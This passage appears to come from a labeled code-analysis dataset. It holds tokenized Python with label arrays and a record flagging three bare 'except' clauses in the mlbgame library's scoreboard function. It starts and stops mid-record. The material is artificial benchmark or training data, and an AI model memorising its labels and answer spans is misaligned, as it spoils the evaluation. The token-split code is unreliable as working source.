"\"_", "in_", "osc", "hema", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Not", " ", "all", " ", "events", " ", "end", " ", "in", " ", "Event_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group_", "=_", "\"", "event", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group_", "=_", "\"", "object", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res", "\\u", "rows_", "._", "append_", "(_", "[_", "\"", "type", "\"_", ",_", "base", "\\u", "types_", ",_", "base", "\\u", "type_", ",_", "obj", "\\u", "type_", ",_", "\"\"_", ",_", "group_", ",_", "is", "\\u", "leaf_", ",_", "\"", "Tru", "e", "\"_", ",_", "\"\"_", ",_", "\"\"_", ",_", "ot", "\\u", "class_", "._", "\\u", "class", "\\u", "info_", "._", "get_", "(_", "\"", "docstr", "ing", "\"_", ",_", "\"\"_", ")_", "._", "replace_", "(_", "\"\\\\\\\\\"_", ",_", "\"\"_", ")_", "._", "strip_", "(_", ")_", ",_", "\"\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "a", " ", "few", " ", "default", " ", "attributes_", "\\u\\u\\uNL\\u\\u\\u_", "#", "res", "\\u", "rows", ".", "append", "([", "group", ",", " ", "base", "\\u", "types", ",", " ", "obj", "\\u", "type", ",", " ", "\"", "type", "\\u\"", ",", " ", "\"", "str", "\",", " ", "is", "\\u", "leaf", ",", " ", "\"", "Fal", "se", "\"", " ", "if", " ", "base", "\\u", "types", " ", "else", " ", "\"", "Tru", "e", "\",", " ", "\"\"", ",", " ", "\"\"", ",", " ", "\"", "Reso", "urc", "e", " ", "type", "\"]", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "group_", "==_", "\"", "resource", "\"_", "or_", "group_", "==_", "\"", "object", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res", "\\u", "rows_", "._", "append_", "(_", "[_", "group_", ",_", "base", "\\u", "types_", ",_", "base", "\\u", "type_", ",_", "obj", "\\u", "type_", ",_", "\"\\u\\u", "\"_", ",_", "\"", "first", "\"_", ",_", "is", "\\u", "leaf_", ",_", "\"", "Tru", "e", "\"_", ",_", "\"\"_", ",_", "\"\"_", ",_", "\"\"_", ",_", "\"\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "List", " ", "attributes_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "att_", "in_", "sorted_", "(_", "osc", "hema", "_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "group_", "==_", "\"", "resource", "\"_", "and_", "att_", "in_", "{_", "\"", "add", "l", "\"_", ",_", "\"", "alt", "\\u", "ids", "\"_", ",_", "\"\\u", "id", "\"_", ",_", "\"", "name", "\"_", ",_", "\"", "description", "\"_", ",_", "\"", "lcs", "tate", "\"_", ",_", "\"", "avail", "abilit", "y", "\"_", ",_", "\"", "ts", "\\u", "created", "\"_", ",_", "\"", "ts", "\\u", "update", "d", "\"_", "}_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "att", "\\u", "obj_", "=_", "osc", "hema", "_", "[_", "att_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ot_", ",_", "ode", "f_", ",_", "ode", "co_", ",_", "odes", "c_", "=_", "att", "\\u", "obj_", "[_", "\"", "type", "\"_", "]_", ",_", "att", "\\u", "obj_", "[_", "\"", "default", "\"_", "]_", ",_", "att", "\\u", "obj_", "[_", "\"", "decorat", "ors", "\"_", "]_", ",_", "att", "\\u", "obj_", "[_", "\"", "description", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "group_", "==_", "\"", "resource", "\"_", "and_", "att_", "==_", "\"", "name", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "odes", "c_", "=_", "\"", "Huma", "n", " ", "reada", "ble", " ", "long", " ", "name", " ", "of", " ", "the", " ", "resource", ",", " ", "display", "able", " ", "in", " ", "lists", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "att", "\\u", "def_", "=_", "obj", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "leaf", "\\u", "attr_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "base", "\\u", "class_", "in_", "self_", "._", "get", "\\u", "extend", "s_", "(_", "ot", "\\u", "class_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "hasattr_", "(_", "base", "\\u", "class_", ",_", "\"\\u", "schema", "\"_", ")_", "and_", "att_", "in_", "base", "\\u", "class_", "._", "\\u", "schema_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "att", "\\u", "def_", "=_", "base", "\\u", "class_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "leaf", "\\u", "attr_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "is", "\\u", "internal_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "attr", "\\u", "desc_", "=_", "odes", "c_", "._", "replace_", "(_", "\"\\\\\\\\\"_", ",_", "\"\"_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\"(", "SYS", ")\"_", "in_", "attr", "\\u", "desc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "is", "\\u", "internal_", "=_", "\"", "System", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res", "\\u", "rows_", "._", "append_", "(_", "[_", "group_", ",_", "base", "\\u", "types_", ",_", "base", "\\u", "type_", ",_", "obj", "\\u", "type_", ",_", "att_", ",_", "ot_", ",_", "is", "\\u", "leaf_", ",_", "leaf", "\\u", "attr_", ",_", "att", "\\u", "def_", ",_", "ode", "f_", ",_", "attr", "\\u", "desc_", ",_", "is", "\\u", "internal_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "filename_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "csv", "file", "\\u", "name_", "=_", "os_", "._", "path_", "._", "join_", "(_", "\"", "interface", "\"_", ",_", "'", "object\\u", "model", ".", "csv", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "unlink_", "(_", "csv", "file", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "csv", "file", "\\u", "name_", "=_", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", " ", "Writ", "ing", " ", "object", " ", "model", " ", "csv", " ", "to", " ", "'\"_", "+_", "csv", "file", "\\u", "name_", "+_", "\"'\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "csvfile_", "=_", "csv_", "._", "writer_", "(_", "open_", "(_", "csv", "file", "\\u", "name_", ",_", "'", "wb", "'_", ")_", ",_", "delimiter_", "=_", "','_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "quotechar", "_", "=_", "'\"'_", ",_", "quoting", "_", "=_", "csv_", "._", "QUOTE", "\\u", "ALL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "csvfile_", "._", "writerow_", "(_", "[_", "\"", "Group", "\"_", ",_", "\"", "Base", " ", "Type", "s", "\"_", ",_", "\"", "Base", " ", "Type", "\"_", ",_", "\"", "Type", " ", "Name", "\"_", ",_", "\"", "Attribute", "\"_", ",_", "\"", "Attr", " ", "Type", "\"_", ",_", "\"", "Lea", "f", " ", "Type", "\"_", ",_", "\"", "Lea", "f", " ", "Attr", "\"_", ",_", "\"", "Definit", "ion", " ", "Type", "\"_", ",_", "\"", "Default", "\"_", ",_", "\"", "Descripti", "on", "\"_", ",_", "\"", "Intern", "al", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "csvfile_", "._", "writer", "ows_", "(_", "res", "\\u", "rows_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
zachpanz88/mlbgame/mlbgame/game.py
[ { "content": "def scoreboard(year, month, day, home=None, away=None):\n \"\"\"Return the scoreboard information for a game matching the parameters as a dictionary.\"\"\"\n # get data\n data = mlbgame.data.get_scoreboard(year, month, day)\n # parse data\n parsed = etree.parse(data)\n root = parsed.getroot()\n games = {}\n # loop through games\n for game in root:\n # check type of game\n if game.tag == \"go_game\" or game.tag == \"ig_game\":\n # get team names\n teams = game.findall('team')\n home_name = teams[0].attrib['name']\n away_name = teams[1].attrib['name']\n # check if teams match parameters\n if (home_name == home and home!=None) or (away_name == away and away!=None) or (away==None and home==None):\n # throw all the data into a complicated dictionary\n game_type = \"go_game\"\n game_data = game.find('game')\n game_id = game_data.attrib['id']\n game_league = game_data.attrib['league']\n game_status = game_data.attrib['status']\n game_start_time = game_data.attrib['start_time']\n home_team_data = teams[0].find('gameteam')\n home_team = {'name': home_name, 'runs': int(home_team_data.attrib['R']), 'hits':int(home_team_data.attrib['H']), 'errors':int(home_team_data.attrib['E'])}\n away_team_data = teams[1].find('gameteam')\n away_team = {'name': away_name, 'runs': int(away_team_data.attrib['R']), 'hits':int(away_team_data.attrib['H']), 'errors':int(away_team_data.attrib['E'])}\n try:\n w_pitcher_data = game.find('w_pitcher')\n w_pitcher_name = w_pitcher_data.find('pitcher').attrib['name']\n w_pitcher = {'name':w_pitcher_name, 'wins':int(w_pitcher_data.attrib['wins']), 'losses':int(w_pitcher_data.attrib['losses'])}\n except:\n w_pitcher = {'name':'', 'wins':0, 'losses':0}\n try:\n l_pitcher_data = game.find('l_pitcher')\n l_pitcher_name = l_pitcher_data.find('pitcher').attrib['name']\n l_pitcher = {'name':l_pitcher_name, 'wins':int(l_pitcher_data.attrib['wins']), 'losses':int(l_pitcher_data.attrib['losses'])}\n except:\n l_pitcher = {'name':'', 'wins':0, 'losses':0}\n try:\n sv_pitcher_data = game.find('sv_pitcher')\n sv_pitcher_name = sv_pitcher_data.find('pitcher').attrib['name']\n sv_pitcher = {'name':sv_pitcher_name, 'saves':int(sv_pitcher_data.attrib['saves'])}\n except:\n sv_pitcher = {'name':'', 'saves':0}\n output = {'game_id':game_id, 'game_type':game_type, 'game_league':game_league, 'game_status':game_status, 'game_start_time':game_start_time, 'home_team':home_team, 'away_team':away_team, 'w_pitcher':w_pitcher, 'l_pitcher':l_pitcher, 'sv_pitcher':sv_pitcher}\n # put this dictionary into the larger dictionary\n games[game_id]=output\n # games taht were not played\n elif game.tag == \"sg_game\":\n # get team information\n teams = game.findall('team')\n home_name = teams[0].attrib['name']\n away_name = teams[1].attrib['name']\n # check if teams match parameters\n if (home_name == home and home!=None) or (away_name == away and away!=None) or (away==None and home==None):\n # throw all the data into a complicated dictionary\n game_type = \"sg_game\"\n game_data = game.find('game')\n game_id = game_data.attrib['id']\n game_league = game_data.attrib['league']\n game_status = game_data.attrib['status']\n game_start_time = game_data.attrib['start_time']\n teams = game.findall('team')\n home_team_data = teams[0].find('gameteam')\n home_team = {'name': teams[0].attrib['name'], 'runs': int(home_team_data.attrib['R']), 'hits':int(home_team_data.attrib['H']), 'errors':int(home_team_data.attrib['E'])}\n away_team_data = teams[1].find('gameteam')\n away_team = {'name': teams[1].attrib['name'], 'runs': int(away_team_data.attrib['R']), 'hits':int(away_team_data.attrib['H']), 'errors':int(away_team_data.attrib['E'])}\n output = {'game_id':game_id, 'game_type':game_type, 'game_league':game_league, 'game_status':game_status, 'game_start_time':game_start_time, 'home_team':home_team, 'away_team':away_team, 'w_pitcher':{}, 'l_pitcher':{}, 'sv_pitcher':{}}\n # put this dictionary into the larger dictionary\n games[game_id]=output\n return games", "metadata": "root.scoreboard", "header": "['module', '___EOS___']", "index": 10 } ]
[ { "span": "except:", "start_line": 43, "start_column": 16, "end_line": 43, "end_column": 23 }, { "span": "except:", "start_line": 49, "start_column": 16, "end_line": 49, "end_column": 23 }, { "span": "except:", "start_line": 55, "start_column": 16, "end_line": 55, "end_column": 23 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "score", "board_", "(_", "year_", ",_", "month_", ",_", "day_", ",_", "home_", "=_", "None_", ",_", "away_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "score", "board", " ", "informati", "on", " ", "for", " ", "a", " ", "game", " ", "matchi", "ng", " ", "the", " ", "parameter", "s", " ", "as", " ", "a", " ", "dictionar", "y", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "ml", "bg", "ame_", "._", "data_", "._", "get", "\\u", "score", "board_", "(_", "year_", ",_", "month_", ",_", "day_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "parse", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "parsed_", "=_", "etree_", "._", "parse_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "parsed_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "games_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "loop", " ", "through", " ", "games_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "game_", "in_", "root_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "type", " ", "of", " ", "game_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "game_", "._", "tag_", "==_", "\"", "go", "\\u", "game", "\"_", "or_", "game_", "._", "tag_", "==_", "\"", "ig", "\\u", "game", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "team", " ", "names_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "teams_", "=_", "game_", "._", "findall_", "(_", "'", "team", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "home", "\\u", "name_", "=_", "teams_", "[_", "0_", "]_", "._", "attrib_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "awa", "y", "\\u", "name_", "=_", "teams_", "[_", "1_", "]_", "._", "attrib_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "if", " ", "team", "s", " ", "match", " ", "parameters_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "home", "\\u", "name_", "==_", "home_", "and_", "home_", "!=_", "None_", ")_", "or_", "(_", "awa", "y", "\\u", "name_", "==_", "away_", "and_", "away_", "!=_", "None_", ")_", "or_", "(_", "away_", "==_", "None_", "and_", "home_", "==_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "throw", " ", "all", " ", "the", " ", "data", " ", "int", "o", " ", "a", " ", "compli", "cated", " ", "dictionary_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "game", "\\u", "type_", "=_", "\"", "go", "\\u", "game", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "data_", "=_", "game_", "._", "find_", "(_", "'", "game", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "id_", "=_", "game", "\\u", "data_", "._", "attrib_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "league_", "=_", "game", "\\u", "data_", "._", "attrib_", "[_", "'", "league", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "status_", "=_", "game", "\\u", "data_", "._", "attrib_", "[_", "'", "status", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "start", "\\u", "time_", "=_", "game", "\\u", "data_", "._", "attrib_", "[_", "'", "start", "\\u", "time", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "home", "\\u", "team", "\\u", "data_", "=_", "teams_", "[_", "0_", "]_", "._", "find_", "(_", "'", "game", "team", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "home", "\\u", "team_", "=_", "{_", "'", "name", "'_", ":_", "home", "\\u", "name_", ",_", "'", "runs", "'_", ":_", "int_", "(_", "home", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "R", "'_", "]_", ")_", ",_", "'", "hits", "'_", ":_", "int_", "(_", "home", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "H", "'_", "]_", ")_", ",_", "'", "error", "s", "'_", ":_", "int_", "(_", "home", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "E", "'_", "]_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "awa", "y", "\\u", "team", "\\u", "data_", "=_", "teams_", "[_", "1_", "]_", "._", "find_", "(_", "'", "game", "team", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "awa", "y", "\\u", "team_", "=_", "{_", "'", "name", "'_", ":_", "awa", "y", "\\u", "name_", ",_", "'", "runs", "'_", ":_", "int_", "(_", "awa", "y", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "R", "'_", "]_", ")_", ",_", "'", "hits", "'_", ":_", "int_", "(_", "awa", "y", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "H", "'_", "]_", ")_", ",_", "'", "error", "s", "'_", ":_", "int_", "(_", "awa", "y", "\\u", "team", "\\u", "data_", "._", "attrib_", "[_", "'", "E", "'_", "]_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "w", "\\u", "pitche", "r", "\\u", "data_", "=_", "game_", "._", "find_", "(_", "'", "w", "\\u", "pitche", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w", "\\u", "pitche", "r", "\\u", "name_", "=_", "w", "\\u", "pitche", "r", "\\u", "data_", "._", "find_", "(_", "'", "pitche", "r", "'_", ")_", "._", "attrib_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w", "\\u", "pitche", "r_", "=_", "{_", "'", "name", "'_", ":_", "w", "\\u", "pitche", "r", "\\u", "name_", ",_", "'", "wins", "'_", ":_", "int_", "(_", "w", "\\u", "pitche", "r", "\\u", "data_", "._", "attrib_", "[_", "'", "wins", "'_", "]_", ")_", ",_", "'", "loss", "es", "'_", ":_", "int_", "(_", "w", "\\u", "pitche", "r", "\\u", "data_", "._", "attrib_", "[_", "'", "loss", "es", "'_", "]_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "w", "\\u", "pitche", "r_", "=_", "{_", "'", "name", "'_", ":_", "''_", ",_", "'", "wins", "'_", ":_", "0_", ",_", "'", "loss", "es", "'_", ":_", "0_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "l\\u", "pitche", "r", "\\u", "data_", "=_", "game_", "._", "find_", "(_", "'", "l\\u", "pitche", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l\\u", "pitche", "r", "\\u", "name_", "=_", "l\\u", "pitche", "r", "\\u", "data_", "._", "find_", "(_", "'", "pitche", "r", "'_", ")_", "._", "attrib_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l\\u", "pitche", "r_", "=_", "{_", "'", "name", "'_", ":_", "l\\u", "pitche", "r", "\\u", "name_", ",_", "'", "wins", "'_", ":_", "int_", "(_", "l\\u", "pitche", "r", "\\u", "data_", "._", "attrib_", "[_", "'", "wins", "'_", "]_", ")_", ",_", "'", "loss", "es", "'_", ":_", "int_", "(_", "l\\u", "pitche", "r", "\\u", "data_", "._", "attrib_", "[_", "'", "loss", "es", "'_", "]_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "l\\u", "pitche", "r_", "=_", "{_", "'", "name", "'_", ":_", "''_", ",_", "'", "wins", "'_", ":_", "0_", ",_", "'", "loss", "es", "'_", ":_", "0_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sv", "\\u", "pitche", "r", "\\u", "data_", "=_", "game_", "._", "find_", "(_", "'", "sv", "\\u", "pitche", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sv", "\\u", "pitche", "r", "\\u", "name_", "=_", "sv", "\\u", "pitche", "r", "\\u", "data_", "._", "find_", "(_", "'", "pitche", "r", "'_", ")_", "._", "attrib_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sv", "\\u", "pitche", "r_", "=_", "{_", "'", "name", "'_", ":_", "sv", "\\u", "pitche", "r", "\\u", "name_", ",_", "'", "save", "s", "'_", ":_", "int_", "(_", "sv", "\\u", "pitche", "r", "\\u", "data_", "._", "attrib_", "[_", "'", "save", "s", "'_", "]_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sv", "\\u", "pitche", "r_", "=_", "{_", "'", "name", "'_", ":_", "''_", ",_", "'", "save", "s", "'_", ":_", "0_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "output_", "=_", "{_", "'", "game", "\\u", "id", "'_", ":_", "game", "\\u", "id_", ",_", "'", "game", "\\u", "type", "'_", ":_", "game", "\\u", "type_", ",_", "'", "game", "\\u", "league", "'_", ":_", "game", "\\u", "league_", ",_", "'", "game", "\\u", "status", "'_", ":_", "game", "\\u", "status_", ",_", "'", "game", "\\u", "start", "\\u", "time", "'_", ":_", "game", "\\u", "start", "\\u", "time_", ",_", "'", "home", "\\u", "team", "'_", ":_", "home", "\\u", "team_", ",_", "'", "awa", "y", "\\u", "team", "'_", ":_", "awa", "y", "\\u", "team_", ",_", "'", "w", "\\u", "pitche", "r", "'_", ":_", "w", "\\u", "pitche", "r_", ",_", "'", "l\\u", "pitche", "r", "'_", ":_", "l\\u", "pitche", "r_", ",_", "'", "sv", "\\u", "pitche", "r", "'_", ":_", "sv", "\\u", "pitche", "r_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "put", " ", "this", " ", "dictionar", "y", " ", "int", "o", " ", "the", " ", "large", "r", " ", "dictionary_", "\\u\\u\\uNL\\u\\u\\u_", "games_", "[_", "game", "\\u", "id_", "]_", "=_", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "games", " ", "ta", "ht", " ", "wer", "e", " ", "not", " ", "played", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "game_", "._", "tag_", "==_", "\"", "sg", "\\u", "game", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "team", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "teams_", "=_", "game_", "._", "findall_", "(_", "'", "team", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "home", "\\u", "name_", "=_", "teams_", "[_", "0_", "]_", "._", "attrib_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "awa", "y", "\\u", "name_", "=_", "teams_", "[_", "1_", "]_", "._", "attrib_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "if", " ", "team", "s", " ", "match", " ", "parameters_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "home", "\\u", "name_", "==_", "home_", "and_", "home_", "!=_", "None_", ")_", "or_", "(_", "awa", "y", "\\u", "name_", "==_", "away_", "and_", "away_", "!=_", "None_", ")_", "or_", "(_", "away_", "==_", "None_", "and_", "home_", "==_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "throw", " ", "all", " ", "the", " ", "data", " ", "int", "o", " ", "a", " ", "compli", "cated", " ", "dictionary_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "game", "\\u", "type_", "=_", "\"", "sg", "\\u", "game", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "game", "\\u", "data_", "=_", 